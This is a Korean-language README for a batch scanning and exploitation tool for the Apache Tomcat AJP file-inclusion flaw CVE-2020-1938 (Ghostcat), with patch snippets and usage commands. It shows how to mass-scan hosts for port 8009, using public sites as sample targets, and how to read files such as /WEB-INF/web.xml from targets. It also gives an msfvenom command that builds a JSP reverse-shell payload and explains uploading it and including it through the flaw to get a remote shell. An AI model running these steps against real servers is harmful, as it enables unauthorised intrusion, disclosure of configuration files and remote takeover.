
CVE-2020-1938 / CNVD-2020-1048 탐지 도구
도구는 보안 연구 및 내부 점검 용도로만 사용되며, 불법 공격에 사용하는 것을 금지합니다. 발생하는 모든 책임은 사용자에게 있습니다.
Apache Tomcat 파일 포함 취약점 (CVE-2020-1938 / CNVD-2020-1048) 일괄 탐지 도구.
이 프로젝트는 Kit4y의 프로젝트를 기반으로 수정되었습니다.
ip.txt에 도메인 또는 IP가 하나만 있을 경우 threadCount가 1이 되어 프로그램이 실제로 실행되지 않으므로, 스레드 수를 확인하는 코드를 추가했습니다.
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. 스캔할 도메인/IP를 ip.txt에 넣습니다. 예:
127.0.0.1
www.baidu.com
www.google.com
2. python threading-find-port-8009.py
ip.txt의 도메인/IP를 스캔하여 8009 포트가 열린 것을 찾아 생성된 8009.txt에 저장합니다.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
8009.txt에서 취약점에 해당하는 URL을 필터링하여 vul.txt에 저장합니다. 최종적으로 vul.txt에 있는 도메인이 취약점이 있는 도메인입니다.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
기본적으로 webapps의 ROOT를 읽습니다. "/asdf"를 "/test/asdf"로 수정하면 webapps 아래 test 디렉토리의 내용에 접근할 수 있습니다.
t.perform_request('/asdf',attributes=[
서버에 파일 업로드 취약점이 동시에 존재하는 경우, 아래의 shell.txt를 업로드합니다.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
"/asdf"를 "/asdf.jsp"로 수정한 후 MSF를 시작하고 PoC 도구를 사용하여 셸을 획득할 수 있습니다.
https://github.com/0nise/CVE-2020-1938
https://github.com/hypn0s/AJPy
https://github.com/00theway/Ghostcat-CNVD-2020-10487